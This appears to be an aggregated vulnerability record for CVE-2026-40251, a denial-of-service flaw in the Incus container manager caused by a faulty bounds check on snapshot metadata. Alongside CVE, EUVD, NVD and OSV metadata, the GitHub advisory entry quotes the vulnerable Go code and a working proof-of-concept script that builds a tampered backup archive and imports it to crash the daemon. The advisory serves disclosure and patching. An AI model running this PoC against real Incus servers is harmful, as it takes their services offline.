{"id":"GO-2026-5127","revision":null,"records":[{"revision":"2b58d077f08f48bf962da0b9798fc46e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40251","aliases":[],"title":"Incus out-of-bounds panic in snapshot metadata handling allows denial of service","description":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds.\n\nAn attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","state":0,"publishedAt":"2026-05-06T20:40:10.93+00:00","modifiedAt":"2026-05-07T13:52:33.513+00:00","affected":[{"ecosystem":"Vendor product","name":"incus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lxc\",\n                    \"product\": \"incus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6","https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40251","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40251","identifiers":["CVE-2026-40251"]},"retained":false,"historicalAffected":[]},{"revision":"6c17a531f5c7479f91cb026e8fae9d21","observedAt":"2026-11-07T08:36:48.677+00:00","statement":{"source":"euvd","id":"EUVD-2026-28213","aliases":["CVE-2026-40251","GHSA-4m88-wxj4-9qj6"],"title":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon …","description":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds.\n\nAn attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":null}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6","https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28213","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 6, 2026, 8:40:10 PM","dateUpdated":"May 7, 2026, 1:52:33 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28213","identifiers":["EUVD-2026-28213","CVE-2026-40251","GHSA-4m88-wxj4-9qj6"]},"retained":false,"historicalAffected":[]},{"revision":"e0bb9aca2f724c698c8358a481836471","observedAt":"2026-10-27T10:09:56.341+00:00","statement":{"source":"nvd","id":"CVE-2026-40251","aliases":[],"title":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon …","description":"Incus is a system container and virtual machine manager. In versions before 7.0.0, missing validation logic in the storage volume import logic allows an authenticated user with access to the storage volume feature to cause the Incus daemon to crash. The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays, and the same flawed pattern also appears in the migration path. When iterating through physical snapshots provided in a backup archive, the loop uses the index to look up corresponding metadata in the parsed `Config.Snapshots` and `Config.VolumeSnapshots` slices. The guard condition `len(slice) >= i-1` is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds.\n\nAn attacker can submit a backup archive that contains physical snapshot directories while supplying a tampered `index.yaml` with an empty or truncated snapshot metadata array, causing the daemon to index beyond the end of the metadata slice and crash. Repeated use of this issue can be used to keep Incus offline, causing a denial of service. This issue is fixed in version 7.0.0.","state":0,"publishedAt":"2026-05-06T21:16:01.21+00:00","modifiedAt":"2026-10-26T19:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go","https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40251","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-129"],"productCriteria":["cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-06T21:16:01.210","lastModified":"2026-10-26T19:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40251","identifiers":["CVE-2026-40251"]},"retained":false,"historicalAffected":[]},{"revision":"cb7e5a899e394b159a9104996f2cf430","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-4m88-wxj4-9qj6","aliases":["CVE-2026-40251","GO-2026-5127"],"title":"Incus Vulnerable to Panic via Snapshot Bounds Check","description":"### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.\n\nWhen iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.\n\nAn attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {\n    [...]\n    postHook := func(inst instance.Instance) error {\n        [...]\n        for i, backupFileSnap := range srcBackup.Snapshots {\n            var volumeSnapDescription string\n            var volumeSnapConfig map[string]string\n            var volumeSnapExpiryDate time.Time\n            var volumeSnapCreationDate time.Time\n\n            // Check if snapshot volume config is available for restore and matches snapshot name.\n            if srcBackup.Config != nil {\n                if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {\n                    // Use instance snapshot's creation date if snap info available.\n                    volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt\n                }\n\n                if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {\n                    // If the backup restore interface provides volume snapshot config use it,\n                    // otherwise use default volume config for the storage pool.\n                    volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description\n                    volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config\n\n                    if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {\n                        volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt\n                    }\n\n                    // Use volume's creation date if available.\n                    if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n                        volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt\n                    }\n                }\n            }\n\n            [...]\n        }\n        [...]\n    }\n    [...]\n}\n\n[...]\n\nfunc (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {\n    [...]\n    if !isRemoteClusterMove || args.StoragePool != \"\" {\n        for i, snapshot := range args.Snapshots {\n            snapName := snapshot.GetName()\n            newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)\n            snapConfig := vol.Config()           // Use parent volume config by default.\n            snapDescription := volumeDescription // Use parent volume description by default.\n            snapExpiryDate := time.Time{}\n            snapCreationDate := time.Time{}\n\n            // If the source snapshot config is available, use that.\n            if srcInfo != nil && srcInfo.Config != nil {\n                if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {\n                    // Use instance snapshot's creation date if snap info available.\n                    snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt\n                }\n\n                if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {\n                    // Check if snapshot volume config is available then use it.\n                    snapDescription = srcInfo.Config.VolumeSnapshots[i].Description\n                    snapConfig = srcInfo.Config.VolumeSnapshots[i].Config\n\n                    if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {\n                        snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt\n                    }\n\n                    // Use volume's creation date if available.\n                    if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n                        snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt\n                    }\n                }\n            }\n\n            [...]\n        }\n    }\n    [...]\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.\n\nStep 1: Generate a valid backup and tamper with its snapshot metadata\n\nFrom an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.\n\nCommands:\n```\ncat <<'EOF' > poc_snapshot_bounds.sh\n#!/bin/bash\nset -e\n\nBASE_NAME=\"base-$(date +%s)\"\nPANIC_NAME=\"panic-$(date +%s)\"\n\nincus init images:alpine/edge \"$BASE_NAME\" --project default\nincus snapshot create \"$BASE_NAME\" snap0 --project default\nincus export \"$BASE_NAME\" valid_snapshot_base.tar.gz --project default\n\nmkdir -p extract_snapshot_bounds\ntar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/\nchmod -R u+rwX extract_snapshot_bounds/\n\npython3 -c \"\nimport os\nimport sys\n\nbase = '$BASE_NAME'\npanic = '$PANIC_NAME'\n\nwith open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:\n    lines = f.read().splitlines()\n\nout = []\nin_skip = False\nskip_indent = 0\n\nfor line in lines:\n    line = line.replace(base, panic)\n    indent = len(line) - len(line.lstrip())\n\n    if in_skip:\n        if not line.strip():\n            continue\n        if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):\n            continue\n        else:\n            in_skip = False\n\n    if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):\n        out.append(line.split(':')[0] + ': []')\n        in_skip = True\n        skip_indent = indent\n        continue\n\n    out.append(line)\n\nwith open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:\n    f.write('\\n'.join(out))\n\"\n\ncd extract_snapshot_bounds/\ntar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/\ncd ..\n\nrm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz\necho \"[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\"\nEOF\n\nbash poc_snapshot_bounds.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable restore path\n\nFrom the same Incus client, import the crafted archive.\n\nCommand:\n```\nincus import exploit_snapshot_bounds_panic.tar.gz --project default\n```\n\nResult:\n```\nError: websocket: close 1006 (abnormal closure): unexpected EOF\n```\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)","state":0,"publishedAt":"2026-05-04T19:16:25+00:00","modifiedAt":"2026-06-25T18:56:06.5032041+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v6/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6","https://nvd.nist.gov/vuln/detail/CVE-2026-40251","https://github.com/lxc/incus","https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go"],"sourceUrl":"https://github.com/advisories/GHSA-4m88-wxj4-9qj6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4m88-wxj4-9qj6","identifiers":["GHSA-4m88-wxj4-9qj6","CVE-2026-40251","GO-2026-5127"]},"retained":false,"historicalAffected":[]},{"revision":"a83e371b0ca74445be3a24e82c8671da","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5127","aliases":["CVE-2026-40251","GHSA-4m88-wxj4-9qj6"],"title":"Incus Vulnerable to Panic via Snapshot Bounds Check in github.com/lxc/incus","description":"Incus Vulnerable to Panic via Snapshot Bounds Check in github.com/lxc/incus","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:23.709033+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6","https://nvd.nist.gov/vuln/detail/CVE-2026-40251","https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5127","license":"OSV · upstream source license applies","key":"osv:GO-2026-5127","identifiers":["GO-2026-5127","CVE-2026-40251","GHSA-4m88-wxj4-9qj6"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:52.8396759+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.8396778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-c173d89a3f1a0bdb31cd68e866be332a5016302f586ede89a35ec193ac99504a","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T16:07:52.127477+00:00","lastSuccessAt":"2026-11-07T16:07:52.0557652+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.127477+00:00","snapshotPublishedAt":"2026-11-07T15:22:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bee3dfbd77fe4043986590b0e0b76259","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T16:18:44.6437051+00:00","lastSuccessAt":"2026-11-07T16:18:44.639+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:18:44.639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:58.5710341+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:58.5710358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e1c431e1022f4db1b4e459e61c31a4ca","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T16:08:00.6485737+00:00","lastSuccessAt":"2026-11-07T16:08:00.644+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:08:00.644+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T16:07:52.5107257+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5107257+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T16:07:52.2947928+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.2947928+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T16:07:52.5258708+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.5258708+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T16:07:52.4004477+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.4004477+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}